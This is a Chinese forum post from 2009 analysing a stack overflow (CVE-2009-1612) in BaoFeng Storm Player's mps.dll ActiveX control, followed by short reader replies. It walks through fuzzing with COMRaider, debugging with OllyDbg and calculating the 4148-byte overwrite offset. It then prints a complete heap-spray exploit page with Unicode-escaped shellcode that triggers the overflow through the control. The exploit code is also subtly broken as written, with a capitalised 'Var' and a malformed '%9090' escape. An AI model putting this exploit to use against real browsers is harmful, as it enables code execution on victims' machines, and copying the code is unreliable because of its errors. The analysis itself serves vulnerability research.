首页
社区
课程
招聘
暴风影音ActiveX控件OnBeforeVideoDownload()函数栈溢出漏洞 分析与利用
发表于: 2009-9-29 18:23 15927

暴风影音ActiveX控件OnBeforeVideoDownload()函数栈溢出漏洞 分析与利用

2009-9-29 18:23
15927

暴风影音ActiveX控件OnBeforeVideoDownload()函数栈溢出漏洞 分析与利用

受影响系统: 
BaoFeng 暴风影音 2.9
BaoFeng 暴风影音 2.8
BaoFeng 暴风影音 2.7

描述: 
 
BUGTRAQ ID: 34789CVE(CAN) ID: CVE-2009-1612暴风影音是在中国非常流行的万能多媒体播放软件。暴风影音mps.dll库所提供的MPS.StormPlayer.1 ActiveX控件没有正确地验证对OnBeforeVideoDownload()函数所传送的输入参数。如果用户受骗访问了恶意网页并向该函数提供了超长输入的话,就可以触发栈溢出,导致执行任意指令。
 
分析与利用:
 
工具:ollydbg(调试工具),COMRaider(Com Fuzz工具)
测试环境:XP sp3,IE7
 
步骤:
首先我们已经知道此漏洞出问题的是ActiveX控件mps.dll中的OnBeforeVideoDownload()函数。下面我们先用COMRaider来进行fuzz测试打开COMRaider
 
然后我们点击右上角的start按钮然后选择第一项然后next如下图所示:

在此选择我们要进行fuzz的mps.dll点打开后就会列出当前的ActiveX中的属性和方法因为我们已经知道了OnBeforeVideoDownload()函数有问题,所以我们直接找到此函数然后在此函数上右击选fuzz member如下图所示:
 
这时ComRaider已经帮我们生成了好多的测试文件,然后我们点击next就可以进行fuzz测试了如下图所示:

可以看到窗口的最上边是测试文件列表紧接着下面是异常列表用来显示异常信息另面在最下面还提供了关闭错误提示杀死异常线程等功能。最后我们点击Begin Fuzzing就可以进行fuzz测试了,最后的测试结果如下图所示:
 
从上图我们可以看到一共有16个异常信息,我们在测试文件列表中随便选一个就会在下面的异常信息栏显示当前的异常信息,我们可以看当前的异常是访问违规,EIP被指到了地址41414141,也就是4个A的ASCII码。我们还可以查看当前的测试文件,在测试文件列表中右击一个测试文件在弹出的菜单中选View File就可以查看当前测试文件的内容。我随便选一个然后查看它的内容如下图:
 
从这个文件我们可以知道当前测试的ActiveX控件是d:\activexbaofeng\mps.dll,当前测试的成员函数是OnBeforeVideoDownload,此函数只有一个string类型的参数,我们传递了7188个A来调用此函数。接下来我们查看一下这个测试文件引起的异常信息我们双击异常信息栏中的异常信息就会显示当前的异常信息如下图所示:
 
从异常信息中我们可以得到程序崩溃时的环境和情况以及寄存器的值SEH等,在这里我们可以看到程序崩溃时EIP的值是41414141ESP的值是我们传递的参数7188个A。到这里我们基本上就可以猜到有可能是我们给函数传递了超长的参数而引起了栈溢出导致程序崩溃。为了验证我们的想法,我们需要进一步的调试,在这里我们可以从ComRaider中直接启动调试器,我们右击测试文件列表中的当前项,然后在弹出的菜单中选launch in olly,就可以启动ollydbg来进行调试,如果是第一次用这个功能它会让你选择ollydbg的安装目录。启动ollydbg后我们可以看到当前在wscript模块中,那我们怎么才能定位到产生溢出的函数呢,这里有一个方法:首先我们按ALT+E调出可执行模块窗口在其中找到oleaut32.dll如下图所示:

然后我们双击它就来到了oleaut32的反汇编窗口然后我们再按CTRL+N调出名称窗口找到DispCallFunc选中它按F2下断点如下图:
 
最后我们F9运行,等它断下来后我们顺着断下往下找,直到找到call ecx然后选中这一行按F4来到这一行如下图:
 
然后我们按F7跟进去就来到了产生溢出函数的入口点了现在我们已经在mps的领空了,然后我们F8单步步过,直到产生异常记下产生异常的地址我这里是1A9427A如下图:

在你机器上可能会不一样,然后我们重新载入这次在产生异常的函数这里我们跟进去,接着又会有产生异常的函数我们重复以上的步骤直到来到这里
 
(如果想从IDA中查看这段代码可以用当前的函数地址减去mps的模块基地址来算出此函数的偏移然后加上IDA中的基地址10001000就得到了此函数在IDA对应的地址)从上图我们可以看出此函数分配了133ch大小的栈空间然后从133ch中的324h处将用来存放我们传入的参数也就是说用来存放我们的参数的栈空间为133ch-324h+4h=101ch 如果我们传入的参数大于101ch将产生栈溢出,但是要想成功的覆盖返回地址还要加上分配栈空间时留下的8个字节和SEH的12个字节再加上返回地址的4个字节一共是24个字节也就是18h那么最后我们要传入的参数就是101ch+18h=1034h(4148个字节)。
接下来我们就来写测试文件来验证我们的测试
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object> 
 
<script>
Var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332
 
\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60
 
\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1
 
\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853
 
\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
var bigblock = unescape("%u9090%9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace)
bigblock+=bigblock;
 
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000)
block = block+block+fillblock;
 
memory = new Array();
for (x=0; x<300; x++)
memory[x] = block + shellcode;
 
var s= '';
while (s.length < 4148)
s+="\x0c"; 
target.OnBeforeVideoDownload(s);
</script>
</body>
</html>
把以上内容存为html文件然后载入IE就会触发漏洞从而弹出一个messagebox
 
下面是IDA中的分析
 


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (19)
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
2
强悍 顶  最近都没见踪影啊
收藏学习
2009-9-29 19:16
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
嘿嘿 时不时的来看雪飘一下 在瞻仰一下新的技术···
2009-9-30 13:40
0
雪    币: 1450
活跃值: (35)
能力值: (RANK:680 )
在线值:
发帖
回帖
粉丝
4
已经是BFYY的第N个ActiveX溢出洞了.

123456
2009-9-30 13:59
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
5
没有炒作的意思,只是想分享下自己的测试与调试的过程
2009-9-30 14:20
0
雪    币: 26
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
四楼兄弟是说BF自我炒作吧,不是说楼主的。
调试IE的控件是不是基本都是在 DispCallFunc 上下断点?
2009-9-30 14:48
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
7
关于下断点的问题楼上可以参考一下这篇文章http://hi.baidu.com/zhengjiong/blog/item/e7a207396853def73a87ceaf.html
2009-9-30 14:59
0
雪    币: 1450
活跃值: (35)
能力值: (RANK:680 )
在线值:
发帖
回帖
粉丝
8
LZ别误会, 我说的是BFYY, 不是说你.
文章很好, 谢谢分享
2009-9-30 15:14
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
9
是我误会了,呵呵,原来BFYY是暴风影音啊
2009-9-30 15:22
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
又见failwest.
2009-10-1 18:59
0
雪    币: 291
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
见到好文章就是要顶的
2009-10-2 22:23
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
谢谢楼主,支持好文章
2009-10-2 22:43
0
雪    币: 220
活跃值: (776)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
BaoFeng 暴风影音 2.9
BaoFeng 暴风影音 2.8
BaoFeng 暴风影音 2.7
现在还有用这3个版本的?
2009-10-2 23:03
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
14
看了大致,问题还是出在库函数上。。。
2009-10-3 12:46
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
15
参数没做检测,看了下,发现问题挺多的。

写程序难啊,写出一个好程序,真的是太难了。
2009-10-3 12:50
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
16
SUPPORT
2009-10-4 12:11
0
雪    币: 261
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
GOD,暴风又出洞了!
2009-10-4 21:00
0
雪    币: 261
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
这几个版本的好像现在很少有人用了!
2009-10-4 21:01
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
看来暴风的洞还不少啊!
2009-11-23 12:23
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
20
等段时间我也去测试下!
2010-1-7 16:51
0
游客
登录 | 注册 方可回帖
返回
//